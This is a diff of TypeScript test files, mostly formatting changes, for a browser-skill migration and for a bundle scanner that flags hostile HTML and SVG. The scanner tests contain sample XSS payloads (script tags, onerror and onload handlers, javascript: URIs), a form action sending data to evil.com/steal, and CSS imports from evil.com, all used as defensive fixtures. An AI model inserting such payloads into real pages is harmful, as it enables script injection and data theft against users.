- package/src/runtime/auth/__tests__/credential-service.test.ts +137 -114
- package/src/runtime/auth/__tests__/guard-tests.test.ts +84 -90
- package/src/runtime/auth/__tests__/ipc-auth-context.test.ts +40 -40
- package/src/runtime/auth/__tests__/middleware.test.ts +80 -74
- package/src/runtime/auth/__tests__/policy.test.ts +9 -9
- package/src/runtime/auth/__tests__/route-policy.test.ts +76 -65
- package/src/runtime/auth/__tests__/scopes.test.ts +68 -60
- package/src/runtime/auth/__tests__/subject.test.ts +54 -54
- package/src/runtime/auth/__tests__/token-service.test.ts +115 -108
- package/src/runtime/auth/scopes.ts +3 -0
- package/src/runtime/auth/token-service.ts +4 -1
- package/src/runtime/auth/types.ts +2 -1
- package/src/runtime/http-server.ts +2 -1
- package/src/security/secure-keys.ts +120 -54
- package/src/tools/browser/__tests__/auth-cache.test.ts +69 -63
- package/src/tools/browser/__tests__/auth-detector.test.ts +218 -157
- package/src/tools/browser/__tests__/jit-auth.test.ts +83 -99
- package/src/tools/terminal/safe-env.ts +7 -0
|
@@ -4,65 +4,70 @@
|
|
|
4
4
|
* Locks the final invariants from the BROWSER_SKILL plan so that future
|
|
5
5
|
* changes cannot silently regress any of the migration guarantees.
|
|
6
6
|
*/
|
|
7
|
-
import { afterAll,beforeAll, describe, expect, test } from
|
|
7
|
+
import { afterAll, beforeAll, describe, expect, test } from "bun:test";
|
|
8
8
|
|
|
9
|
-
import {
|
|
10
|
-
|
|
9
|
+
import {
|
|
10
|
+
projectSkillTools,
|
|
11
|
+
resetSkillToolProjection,
|
|
12
|
+
} from "../daemon/session-skill-tools.js";
|
|
13
|
+
import { getDefaultRuleTemplates } from "../permissions/defaults.js";
|
|
11
14
|
import {
|
|
12
15
|
__resetRegistryForTesting,
|
|
13
16
|
getAllToolDefinitions,
|
|
14
17
|
getAllTools,
|
|
15
18
|
initializeTools,
|
|
16
|
-
} from
|
|
17
|
-
import { eagerModuleToolNames } from
|
|
19
|
+
} from "../tools/registry.js";
|
|
20
|
+
import { eagerModuleToolNames } from "../tools/tool-manifest.js";
|
|
18
21
|
import {
|
|
19
22
|
BROWSER_SKILL_ID,
|
|
20
23
|
BROWSER_TOOL_COUNT,
|
|
21
24
|
BROWSER_TOOL_NAMES,
|
|
22
25
|
buildSkillLoadHistory,
|
|
23
|
-
} from
|
|
26
|
+
} from "./test-support/browser-skill-harness.js";
|
|
24
27
|
|
|
25
|
-
afterAll(() => {
|
|
28
|
+
afterAll(() => {
|
|
29
|
+
__resetRegistryForTesting();
|
|
30
|
+
});
|
|
26
31
|
|
|
27
|
-
describe(
|
|
32
|
+
describe("browser skill migration end-state", () => {
|
|
28
33
|
beforeAll(async () => {
|
|
29
34
|
__resetRegistryForTesting();
|
|
30
35
|
await initializeTools();
|
|
31
36
|
});
|
|
32
37
|
|
|
33
38
|
const BROWSER_TOOLS = [
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
39
|
+
"browser_navigate",
|
|
40
|
+
"browser_snapshot",
|
|
41
|
+
"browser_screenshot",
|
|
42
|
+
"browser_close",
|
|
43
|
+
"browser_click",
|
|
44
|
+
"browser_type",
|
|
45
|
+
"browser_press_key",
|
|
46
|
+
"browser_scroll",
|
|
47
|
+
"browser_select_option",
|
|
48
|
+
"browser_hover",
|
|
49
|
+
"browser_wait_for",
|
|
50
|
+
"browser_extract",
|
|
51
|
+
"browser_wait_for_download",
|
|
52
|
+
"browser_fill_credential",
|
|
48
53
|
] as const;
|
|
49
54
|
|
|
50
55
|
// ── 1. Startup payload excludes browser tools ──────────────────────
|
|
51
56
|
|
|
52
|
-
test(
|
|
57
|
+
test("browser tools are NOT in startup core registry", () => {
|
|
53
58
|
const toolNames = getAllTools().map((t) => t.name);
|
|
54
59
|
for (const name of BROWSER_TOOLS) {
|
|
55
60
|
expect(toolNames).not.toContain(name);
|
|
56
61
|
}
|
|
57
62
|
});
|
|
58
63
|
|
|
59
|
-
test(
|
|
64
|
+
test("browser tool names are NOT in eagerModuleToolNames", () => {
|
|
60
65
|
for (const name of BROWSER_TOOLS) {
|
|
61
66
|
expect(eagerModuleToolNames).not.toContain(name);
|
|
62
67
|
}
|
|
63
68
|
});
|
|
64
69
|
|
|
65
|
-
test(
|
|
70
|
+
test("startup tool definition count is reduced (no browser tools)", () => {
|
|
66
71
|
const definitions = getAllToolDefinitions();
|
|
67
72
|
// Startup has ~15 eager + ~11 explicit definitions (no browser tools).
|
|
68
73
|
// Allow wider drift for unrelated tool additions while still failing if
|
|
@@ -84,19 +89,25 @@ describe('browser skill migration end-state', () => {
|
|
|
84
89
|
|
|
85
90
|
// ── 2. Browser skill exists and is active ──────────────────────────
|
|
86
91
|
|
|
87
|
-
test(
|
|
88
|
-
const path = await import(
|
|
89
|
-
const fs = await import(
|
|
90
|
-
const skillDir = path.resolve(
|
|
91
|
-
|
|
92
|
-
|
|
92
|
+
test("bundled browser skill directory exists with SKILL.md and TOOLS.json", async () => {
|
|
93
|
+
const path = await import("node:path");
|
|
94
|
+
const fs = await import("node:fs");
|
|
95
|
+
const skillDir = path.resolve(
|
|
96
|
+
import.meta.dirname,
|
|
97
|
+
"../config/bundled-skills/browser",
|
|
98
|
+
);
|
|
99
|
+
expect(fs.existsSync(path.join(skillDir, "SKILL.md"))).toBe(true);
|
|
100
|
+
expect(fs.existsSync(path.join(skillDir, "TOOLS.json"))).toBe(true);
|
|
93
101
|
});
|
|
94
102
|
|
|
95
|
-
test(
|
|
96
|
-
const path = await import(
|
|
97
|
-
const fs = await import(
|
|
98
|
-
const toolsPath = path.resolve(
|
|
99
|
-
|
|
103
|
+
test("browser TOOLS.json contains all 14 tools", async () => {
|
|
104
|
+
const path = await import("node:path");
|
|
105
|
+
const fs = await import("node:fs");
|
|
106
|
+
const toolsPath = path.resolve(
|
|
107
|
+
import.meta.dirname,
|
|
108
|
+
"../config/bundled-skills/browser/TOOLS.json",
|
|
109
|
+
);
|
|
110
|
+
const manifest = JSON.parse(fs.readFileSync(toolsPath, "utf-8"));
|
|
100
111
|
expect(manifest.version).toBe(1);
|
|
101
112
|
expect(manifest.tools).toHaveLength(14);
|
|
102
113
|
const toolNames = manifest.tools.map((t: { name: string }) => t.name);
|
|
@@ -107,47 +118,54 @@ describe('browser skill migration end-state', () => {
|
|
|
107
118
|
|
|
108
119
|
// ── 3. Permission defaults align with PR 08/09 ────────────────────
|
|
109
120
|
|
|
110
|
-
test(
|
|
121
|
+
test("skill_load has default allow rule", () => {
|
|
111
122
|
const templates = getDefaultRuleTemplates();
|
|
112
|
-
const rule = templates.find(
|
|
123
|
+
const rule = templates.find(
|
|
124
|
+
(t) => t.id === "default:allow-skill_load-global",
|
|
125
|
+
);
|
|
113
126
|
expect(rule).toBeDefined();
|
|
114
|
-
expect(rule!.decision).toBe(
|
|
127
|
+
expect(rule!.decision).toBe("allow");
|
|
115
128
|
});
|
|
116
129
|
|
|
117
|
-
test(
|
|
130
|
+
test("all browser tools have default allow rules", () => {
|
|
118
131
|
const templates = getDefaultRuleTemplates();
|
|
119
132
|
for (const tool of BROWSER_TOOLS) {
|
|
120
|
-
const rule = templates.find(
|
|
133
|
+
const rule = templates.find(
|
|
134
|
+
(t) => t.id === `default:allow-${tool}-global`,
|
|
135
|
+
);
|
|
121
136
|
expect(rule).toBeDefined();
|
|
122
|
-
expect(rule!.decision).toBe(
|
|
137
|
+
expect(rule!.decision).toBe("allow");
|
|
123
138
|
// browser_navigate uses standalone "**" globstar because navigate
|
|
124
139
|
// candidates contain URLs with "/" (e.g. "browser_navigate:https://example.com/path").
|
|
125
|
-
const expectedPattern = tool ===
|
|
140
|
+
const expectedPattern = tool === "browser_navigate" ? "**" : `${tool}:*`;
|
|
126
141
|
expect(rule!.pattern).toBe(expectedPattern);
|
|
127
142
|
}
|
|
128
143
|
});
|
|
129
144
|
|
|
130
145
|
// ── 4. Tool wrapper scripts exist ──────────────────────────────────
|
|
131
146
|
|
|
132
|
-
test(
|
|
133
|
-
const path = await import(
|
|
134
|
-
const fs = await import(
|
|
135
|
-
const toolsDir = path.resolve(
|
|
147
|
+
test("all 14 browser tool wrapper scripts exist", async () => {
|
|
148
|
+
const path = await import("node:path");
|
|
149
|
+
const fs = await import("node:fs");
|
|
150
|
+
const toolsDir = path.resolve(
|
|
151
|
+
import.meta.dirname,
|
|
152
|
+
"../config/bundled-skills/browser/tools",
|
|
153
|
+
);
|
|
136
154
|
const wrapperFiles = [
|
|
137
|
-
|
|
138
|
-
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
|
|
150
|
-
|
|
155
|
+
"browser-navigate.ts",
|
|
156
|
+
"browser-snapshot.ts",
|
|
157
|
+
"browser-screenshot.ts",
|
|
158
|
+
"browser-close.ts",
|
|
159
|
+
"browser-click.ts",
|
|
160
|
+
"browser-type.ts",
|
|
161
|
+
"browser-press-key.ts",
|
|
162
|
+
"browser-scroll.ts",
|
|
163
|
+
"browser-select-option.ts",
|
|
164
|
+
"browser-hover.ts",
|
|
165
|
+
"browser-wait-for.ts",
|
|
166
|
+
"browser-extract.ts",
|
|
167
|
+
"browser-wait-for-download.ts",
|
|
168
|
+
"browser-fill-credential.ts",
|
|
151
169
|
];
|
|
152
170
|
for (const file of wrapperFiles) {
|
|
153
171
|
expect(fs.existsSync(path.join(toolsDir, file))).toBe(true);
|
|
@@ -156,30 +174,37 @@ describe('browser skill migration end-state', () => {
|
|
|
156
174
|
|
|
157
175
|
// ── 5. Execution extraction is in place ────────────────────────────
|
|
158
176
|
|
|
159
|
-
test(
|
|
160
|
-
const path = await import(
|
|
161
|
-
const fs = await import(
|
|
162
|
-
const execPath = path.resolve(
|
|
177
|
+
test("browser-execution.ts exists with exported execute functions", async () => {
|
|
178
|
+
const path = await import("node:path");
|
|
179
|
+
const fs = await import("node:fs");
|
|
180
|
+
const execPath = path.resolve(
|
|
181
|
+
import.meta.dirname,
|
|
182
|
+
"../tools/browser/browser-execution.ts",
|
|
183
|
+
);
|
|
163
184
|
expect(fs.existsSync(execPath)).toBe(true);
|
|
164
|
-
const content = fs.readFileSync(execPath,
|
|
185
|
+
const content = fs.readFileSync(execPath, "utf-8");
|
|
165
186
|
// browser_wait_for_download uses a standalone wrapper that calls
|
|
166
187
|
// browserManager.waitForDownload() directly — no execute* function.
|
|
167
188
|
const TOOLS_WITH_EXECUTE_FN = BROWSER_TOOLS.filter(
|
|
168
|
-
(name) => name !==
|
|
189
|
+
(name) => name !== "browser_wait_for_download",
|
|
169
190
|
);
|
|
170
191
|
for (const name of TOOLS_WITH_EXECUTE_FN) {
|
|
171
192
|
// Derive expected function name: browser_navigate -> executeBrowserNavigate
|
|
172
|
-
const fnName =
|
|
173
|
-
|
|
174
|
-
|
|
175
|
-
|
|
193
|
+
const fnName =
|
|
194
|
+
"execute" +
|
|
195
|
+
name
|
|
196
|
+
.split("_")
|
|
197
|
+
.map((s, i) =>
|
|
198
|
+
i === 0 ? "Browser" : s.charAt(0).toUpperCase() + s.slice(1),
|
|
199
|
+
)
|
|
200
|
+
.join("");
|
|
176
201
|
expect(content).toContain(fnName);
|
|
177
202
|
}
|
|
178
203
|
});
|
|
179
204
|
|
|
180
205
|
// ── 6. Runtime projection adds exactly 14 browser tools ──────────
|
|
181
206
|
|
|
182
|
-
test(
|
|
207
|
+
test("skill_load projection adds all 14 browser tools", () => {
|
|
183
208
|
const history = buildSkillLoadHistory(BROWSER_SKILL_ID);
|
|
184
209
|
const tracking = new Map<string, string>();
|
|
185
210
|
|
|
@@ -1,8 +1,8 @@
|
|
|
1
1
|
import { mkdtemp, rm } from "node:fs/promises";
|
|
2
2
|
import { tmpdir } from "node:os";
|
|
3
3
|
import { join } from "node:path";
|
|
4
|
+
import { afterAll, beforeAll, describe, expect, test } from "bun:test";
|
|
4
5
|
|
|
5
|
-
import { afterAll,beforeAll, describe, expect, test } from "bun:test";
|
|
6
6
|
import JSZip from "jszip";
|
|
7
7
|
|
|
8
8
|
import { scanBundle, type ScanFinding } from "../bundler/bundle-scanner.js";
|
|
@@ -47,12 +47,18 @@ async function createBundle(
|
|
|
47
47
|
}
|
|
48
48
|
|
|
49
49
|
const data = await zip.generateAsync({ type: "uint8array" });
|
|
50
|
-
const path = join(
|
|
50
|
+
const path = join(
|
|
51
|
+
tempDir,
|
|
52
|
+
`test-${Date.now()}-${Math.random().toString(36).slice(2)}.vellumapp`,
|
|
53
|
+
);
|
|
51
54
|
await Bun.write(path, data);
|
|
52
55
|
return path;
|
|
53
56
|
}
|
|
54
57
|
|
|
55
|
-
function findByCode(
|
|
58
|
+
function findByCode(
|
|
59
|
+
findings: ScanFinding[],
|
|
60
|
+
code: string,
|
|
61
|
+
): ScanFinding | undefined {
|
|
56
62
|
return findings.find((f) => f.code === code);
|
|
57
63
|
}
|
|
58
64
|
|
|
@@ -64,7 +70,8 @@ describe("SVG script tags", () => {
|
|
|
64
70
|
test("blocks SVG with <script> tag", async () => {
|
|
65
71
|
const path = await createBundle({
|
|
66
72
|
"index.html": "<html><body>Hello</body></html>",
|
|
67
|
-
"assets/icon.svg":
|
|
73
|
+
"assets/icon.svg":
|
|
74
|
+
'<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>',
|
|
68
75
|
});
|
|
69
76
|
const result = await scanBundle(path);
|
|
70
77
|
const f = findByCode(result.findings, "svg_script");
|
|
@@ -75,7 +82,8 @@ describe("SVG script tags", () => {
|
|
|
75
82
|
test("passes clean SVG without script", async () => {
|
|
76
83
|
const path = await createBundle({
|
|
77
84
|
"index.html": "<html><body>Hello</body></html>",
|
|
78
|
-
"assets/icon.svg":
|
|
85
|
+
"assets/icon.svg":
|
|
86
|
+
'<svg xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="40"/></svg>',
|
|
79
87
|
});
|
|
80
88
|
const result = await scanBundle(path);
|
|
81
89
|
const f = findByCode(result.findings, "svg_script");
|
|
@@ -90,7 +98,8 @@ describe("SVG script tags", () => {
|
|
|
90
98
|
describe("iframe srcdoc", () => {
|
|
91
99
|
test("blocks iframe with srcdoc attribute", async () => {
|
|
92
100
|
const path = await createBundle({
|
|
93
|
-
"index.html":
|
|
101
|
+
"index.html":
|
|
102
|
+
'<html><body><iframe srcdoc="<script>alert(1)</script>"></iframe></body></html>',
|
|
94
103
|
});
|
|
95
104
|
const result = await scanBundle(path);
|
|
96
105
|
const f = findByCode(result.findings, "iframe_srcdoc");
|
|
@@ -100,7 +109,8 @@ describe("iframe srcdoc", () => {
|
|
|
100
109
|
|
|
101
110
|
test("passes HTML without srcdoc", async () => {
|
|
102
111
|
const path = await createBundle({
|
|
103
|
-
"index.html":
|
|
112
|
+
"index.html":
|
|
113
|
+
'<html><body><iframe src="about:blank"></iframe></body></html>',
|
|
104
114
|
});
|
|
105
115
|
const result = await scanBundle(path);
|
|
106
116
|
const f = findByCode(result.findings, "iframe_srcdoc");
|
|
@@ -115,7 +125,8 @@ describe("iframe srcdoc", () => {
|
|
|
115
125
|
describe("formaction attribute", () => {
|
|
116
126
|
test("blocks formaction with external URL", async () => {
|
|
117
127
|
const path = await createBundle({
|
|
118
|
-
"index.html":
|
|
128
|
+
"index.html":
|
|
129
|
+
'<html><body><button formaction="https://evil.com/steal">Submit</button></body></html>',
|
|
119
130
|
});
|
|
120
131
|
const result = await scanBundle(path);
|
|
121
132
|
const f = findByCode(result.findings, "formaction_external");
|
|
@@ -125,7 +136,8 @@ describe("formaction attribute", () => {
|
|
|
125
136
|
|
|
126
137
|
test("passes form without formaction", async () => {
|
|
127
138
|
const path = await createBundle({
|
|
128
|
-
"index.html":
|
|
139
|
+
"index.html":
|
|
140
|
+
'<html><body><form action="#"><button>Submit</button></form></body></html>',
|
|
129
141
|
});
|
|
130
142
|
const result = await scanBundle(path);
|
|
131
143
|
const f = findByCode(result.findings, "formaction_external");
|
|
@@ -140,7 +152,8 @@ describe("formaction attribute", () => {
|
|
|
140
152
|
describe("HTML event handlers", () => {
|
|
141
153
|
test("warns on onerror attribute", async () => {
|
|
142
154
|
const path = await createBundle({
|
|
143
|
-
"index.html":
|
|
155
|
+
"index.html":
|
|
156
|
+
'<html><body><img onerror="alert(1)" src="x"></body></html>',
|
|
144
157
|
});
|
|
145
158
|
const result = await scanBundle(path);
|
|
146
159
|
const f = findByCode(result.findings, "html_event_handler");
|
|
@@ -150,7 +163,8 @@ describe("HTML event handlers", () => {
|
|
|
150
163
|
|
|
151
164
|
test("warns on onclick attribute", async () => {
|
|
152
165
|
const path = await createBundle({
|
|
153
|
-
"index.html":
|
|
166
|
+
"index.html":
|
|
167
|
+
'<html><body><div onclick="doStuff()">Click</div></body></html>',
|
|
154
168
|
});
|
|
155
169
|
const result = await scanBundle(path);
|
|
156
170
|
const f = findByCode(result.findings, "html_event_handler");
|
|
@@ -160,7 +174,8 @@ describe("HTML event handlers", () => {
|
|
|
160
174
|
|
|
161
175
|
test("passes HTML without event handlers", async () => {
|
|
162
176
|
const path = await createBundle({
|
|
163
|
-
"index.html":
|
|
177
|
+
"index.html":
|
|
178
|
+
'<html><body><div class="container">Safe</div></body></html>',
|
|
164
179
|
});
|
|
165
180
|
const result = await scanBundle(path);
|
|
166
181
|
const f = findByCode(result.findings, "html_event_handler");
|
|
@@ -175,7 +190,8 @@ describe("HTML event handlers", () => {
|
|
|
175
190
|
describe("CSS @import", () => {
|
|
176
191
|
test("warns on @import url()", async () => {
|
|
177
192
|
const path = await createBundle({
|
|
178
|
-
"index.html":
|
|
193
|
+
"index.html":
|
|
194
|
+
"<html><head><style>@import url(https://evil.com/spy.css);</style></head><body></body></html>",
|
|
179
195
|
});
|
|
180
196
|
const result = await scanBundle(path);
|
|
181
197
|
const f = findByCode(result.findings, "css_import");
|
|
@@ -185,7 +201,8 @@ describe("CSS @import", () => {
|
|
|
185
201
|
|
|
186
202
|
test("warns on @import with quoted URL", async () => {
|
|
187
203
|
const path = await createBundle({
|
|
188
|
-
"index.html":
|
|
204
|
+
"index.html":
|
|
205
|
+
"<html><head><style>@import 'https://evil.com/spy.css';</style></head><body></body></html>",
|
|
189
206
|
});
|
|
190
207
|
const result = await scanBundle(path);
|
|
191
208
|
const f = findByCode(result.findings, "css_import");
|
|
@@ -194,7 +211,8 @@ describe("CSS @import", () => {
|
|
|
194
211
|
|
|
195
212
|
test("passes without CSS @import", async () => {
|
|
196
213
|
const path = await createBundle({
|
|
197
|
-
"index.html":
|
|
214
|
+
"index.html":
|
|
215
|
+
"<html><head><style>body { color: red; }</style></head><body></body></html>",
|
|
198
216
|
});
|
|
199
217
|
const result = await scanBundle(path);
|
|
200
218
|
const f = findByCode(result.findings, "css_import");
|
|
@@ -209,7 +227,8 @@ describe("CSS @import", () => {
|
|
|
209
227
|
describe("CSS external url()", () => {
|
|
210
228
|
test("warns on url() with https", async () => {
|
|
211
229
|
const path = await createBundle({
|
|
212
|
-
"index.html":
|
|
230
|
+
"index.html":
|
|
231
|
+
"<html><head><style>body { background: url('https://evil.com/pixel.gif'); }</style></head><body></body></html>",
|
|
213
232
|
});
|
|
214
233
|
const result = await scanBundle(path);
|
|
215
234
|
const f = findByCode(result.findings, "css_external_url");
|
|
@@ -219,7 +238,8 @@ describe("CSS external url()", () => {
|
|
|
219
238
|
|
|
220
239
|
test("passes url() with local path", async () => {
|
|
221
240
|
const path = await createBundle({
|
|
222
|
-
"index.html":
|
|
241
|
+
"index.html":
|
|
242
|
+
"<html><head><style>body { background: url('assets/bg.png'); }</style></head><body></body></html>",
|
|
223
243
|
});
|
|
224
244
|
const result = await scanBundle(path);
|
|
225
245
|
const f = findByCode(result.findings, "css_external_url");
|
|
@@ -234,7 +254,8 @@ describe("CSS external url()", () => {
|
|
|
234
254
|
describe("data: URI", () => {
|
|
235
255
|
test("warns on script src with data: URI", async () => {
|
|
236
256
|
const path = await createBundle({
|
|
237
|
-
"index.html":
|
|
257
|
+
"index.html":
|
|
258
|
+
'<html><body><script src="data:text/javascript,alert(1)"></script></body></html>',
|
|
238
259
|
});
|
|
239
260
|
const result = await scanBundle(path);
|
|
240
261
|
const f = findByCode(result.findings, "data_uri");
|
|
@@ -259,7 +280,8 @@ describe("data: URI", () => {
|
|
|
259
280
|
describe("javascript: URI", () => {
|
|
260
281
|
test("warns on href with javascript: URI", async () => {
|
|
261
282
|
const path = await createBundle({
|
|
262
|
-
"index.html":
|
|
283
|
+
"index.html":
|
|
284
|
+
'<html><body><a href="javascript:alert(1)">Click</a></body></html>',
|
|
263
285
|
});
|
|
264
286
|
const result = await scanBundle(path);
|
|
265
287
|
const f = findByCode(result.findings, "javascript_uri");
|
|
@@ -285,7 +307,8 @@ describe("SVG event handlers", () => {
|
|
|
285
307
|
test("warns on SVG with onload handler", async () => {
|
|
286
308
|
const path = await createBundle({
|
|
287
309
|
"index.html": "<html><body>Hello</body></html>",
|
|
288
|
-
"assets/icon.svg":
|
|
310
|
+
"assets/icon.svg":
|
|
311
|
+
'<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"><circle cx="50" cy="50" r="40"/></svg>',
|
|
289
312
|
});
|
|
290
313
|
const result = await scanBundle(path);
|
|
291
314
|
const f = findByCode(result.findings, "svg_event_handler");
|
|
@@ -296,7 +319,8 @@ describe("SVG event handlers", () => {
|
|
|
296
319
|
test("warns on SVG element with onclick handler", async () => {
|
|
297
320
|
const path = await createBundle({
|
|
298
321
|
"index.html": "<html><body>Hello</body></html>",
|
|
299
|
-
"assets/icon.svg":
|
|
322
|
+
"assets/icon.svg":
|
|
323
|
+
'<svg xmlns="http://www.w3.org/2000/svg"><circle onclick="alert(1)" cx="50" cy="50" r="40"/></svg>',
|
|
300
324
|
});
|
|
301
325
|
const result = await scanBundle(path);
|
|
302
326
|
const f = findByCode(result.findings, "svg_event_handler");
|
|
@@ -306,7 +330,8 @@ describe("SVG event handlers", () => {
|
|
|
306
330
|
test("passes clean SVG without event handlers", async () => {
|
|
307
331
|
const path = await createBundle({
|
|
308
332
|
"index.html": "<html><body>Hello</body></html>",
|
|
309
|
-
"assets/icon.svg":
|
|
333
|
+
"assets/icon.svg":
|
|
334
|
+
'<svg xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="40" fill="red"/></svg>',
|
|
310
335
|
});
|
|
311
336
|
const result = await scanBundle(path);
|
|
312
337
|
const f = findByCode(result.findings, "svg_event_handler");
|